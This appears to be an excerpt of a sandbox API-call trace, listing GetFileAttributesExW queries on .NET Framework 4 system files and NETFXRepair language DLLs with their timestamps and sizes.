	[0088.528] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\netmemorycache.ini" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\netmemorycache.ini"), fInfoLevelId=0x0, lpFileInformation=0x125fe918 | out: lpFileInformation=0x125fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbe2500, ftCreationTime.dwHighDateTime=0x1ca29a0, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xccbe2500, ftLastWriteTime.dwHighDateTime=0x1ca29a0, nFileSizeHigh=0x0, nFileSizeLow=0x508)) returned 1
	[0088.529] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.exe"), fInfoLevelId=0x0, lpFileInformation=0x125fe968 | out: lpFileInformation=0x125fe968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d783c80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x29c90)) returned 1
	[0088.529] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.log"), fInfoLevelId=0x0, lpFileInformation=0x125fe9b8 | out: lpFileInformation=0x125fe9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x988c9140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe1201540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcb419ac0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x2f02d)) returned 1
	[0088.529] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.old.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.old.log"), fInfoLevelId=0x0, lpFileInformation=0x125fea08 | out: lpFileInformation=0x125fea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x988c9140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x988c9140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xb0803500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x149a4)) returned 1
	[0088.529] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen_service.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen_service.log"), fInfoLevelId=0x0, lpFileInformation=0x125fea58 | out: lpFileInformation=0x125fea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99333180, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe1605a60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x977a6100, ftLastWriteTime.dwHighDateTime=0x1d305f3, nFileSizeHigh=0x0, nFileSizeLow=0xb117f)) returned 1
	[0088.530] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen_service.old.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen_service.old.log"), fInfoLevelId=0x0, lpFileInformation=0x125feaa8 | out: lpFileInformation=0x125feaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99333180, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x99333180, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc4ac25c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x25c)) returned 1
	[0088.530] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll"), fInfoLevelId=0x0, lpFileInformation=0x125feaf8 | out: lpFileInformation=0x125feaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d94cd00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8)) returned 1
	[0088.530] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\normalization.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\normalization.dll"), fInfoLevelId=0x0, lpFileInformation=0x125feb48 | out: lpFileInformation=0x125feb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5da31540, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x86b8)) returned 1
	[0088.531] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\normidna.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\normidna.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125feb98 | out: lpFileInformation=0x125feb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3be040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce)) returned 1
	[0088.531] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\normnfc.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\normnfc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125febe8 | out: lpFileInformation=0x125febe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3be040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4)) returned 1
	[0088.531] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\normnfd.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\normnfd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125fec38 | out: lpFileInformation=0x125fec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x9e76)) returned 1
	[0088.531] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\normnfkc.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\normnfkc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125fec88 | out: lpFileInformation=0x125fec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x108e0)) returned 1
	[0088.532] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\normnfkd.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\normnfkd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125fecd8 | out: lpFileInformation=0x125fecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xf116)) returned 1
	[0088.532] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\peverify.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\peverify.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fed28 | out: lpFileInformation=0x125fed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5db881a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x35aa0)) returned 1
	[0088.532] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regasm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125fed78 | out: lpFileInformation=0x125fed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8b4a2880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0088.533] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regsvcs.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125fedc8 | out: lpFileInformation=0x125fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8b4a2880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1
	[0088.533] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regtlibv12.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regtlibv12.exe"), fInfoLevelId=0x0, lpFileInformation=0x125fee18 | out: lpFileInformation=0x125fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f5b73a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1a6a0)) returned 1
	[0088.533] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125fee68 | out: lpFileInformation=0x125fee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdab0b100, ftCreationTime.dwHighDateTime=0x1cd0c42, ftLastAccessTime.dwLowDateTime=0xd147ee40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdab0b100, ftLastWriteTime.dwHighDateTime=0x1cd0c42, nFileSizeHigh=0x0, nFileSizeLow=0x2d1f20)) returned 1
	[0088.534] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sysglobl.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sysglobl.dll"), fInfoLevelId=0x0, lpFileInformation=0x125feeb8 | out: lpFileInformation=0x125feeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x618ad6c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x20488)) returned 1
	[0088.534] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\system.componentmodel.composition.registration.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.componentmodel.composition.registration.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fef08 | out: lpFileInformation=0x125fef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c8ba80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xf578)) returned 1
	[0088.534] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\vbc.exe"), fInfoLevelId=0x0, lpFileInformation=0x125fef58 | out: lpFileInformation=0x125fef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x56e2ef00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x31a690)) returned 1
	[0088.534] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\vbc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125fefa8 | out: lpFileInformation=0x125fefa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80ed00, ftCreationTime.dwHighDateTime=0x1cac611, ftLastAccessTime.dwLowDateTime=0x8b880c40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc80ed00, ftLastWriteTime.dwHighDateTime=0x1cac611, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1
	[0088.535] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.rsp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\vbc.rsp"), fInfoLevelId=0x0, lpFileInformation=0x125feff8 | out: lpFileInformation=0x125feff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeabf4000, ftCreationTime.dwHighDateTime=0x1cac5e7, ftLastAccessTime.dwLowDateTime=0x9f266f40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xeabf4000, ftLastWriteTime.dwHighDateTime=0x1cac5e7, nFileSizeHigh=0x0, nFileSizeLow=0x5bb)) returned 1
	[0088.535] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\webengine.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\webengine.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff048 | out: lpFileInformation=0x125ff048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b63a6e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x66a8)) returned 1
	[0088.535] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\webengine4.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\webengine4.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff098 | out: lpFileInformation=0x125ff098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b6869a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x97ea8)) returned 1
	[0088.536] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1025.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1025.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff0e8 | out: lpFileInformation=0x125ff0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d606ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x48b0)) returned 1
	[0088.536] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1028.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1028.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff138 | out: lpFileInformation=0x125ff138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d62d020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4748)) returned 1
	[0088.536] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1029.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1029.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff188 | out: lpFileInformation=0x125ff188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d62d020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.536] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1030.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1030.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff1d8 | out: lpFileInformation=0x125ff1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d653180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.536] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1031.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1031.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff228 | out: lpFileInformation=0x125ff228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d653180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.537] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1032.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1032.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff278 | out: lpFileInformation=0x125ff278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6792e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4b48)) returned 1
	[0088.537] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1033.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1033.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff2c8 | out: lpFileInformation=0x125ff2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d6792e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x48b0)) returned 1
	[0088.537] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1035.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1035.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff318 | out: lpFileInformation=0x125ff318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d69f440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.537] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1036.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1036.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff368 | out: lpFileInformation=0x125ff368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d69f440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4b48)) returned 1
	[0088.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1037.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1037.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff3b8 | out: lpFileInformation=0x125ff3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6c55a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1038.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1038.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff408 | out: lpFileInformation=0x125ff408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6c55a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1040.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1040.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff458 | out: lpFileInformation=0x125ff458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6eb700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1041.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1041.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff4a8 | out: lpFileInformation=0x125ff4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6eb700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1042.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1042.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff4f8 | out: lpFileInformation=0x125ff4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6eb700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1043.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1043.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff548 | out: lpFileInformation=0x125ff548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d711860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1044.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1044.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff598 | out: lpFileInformation=0x125ff598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d711860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
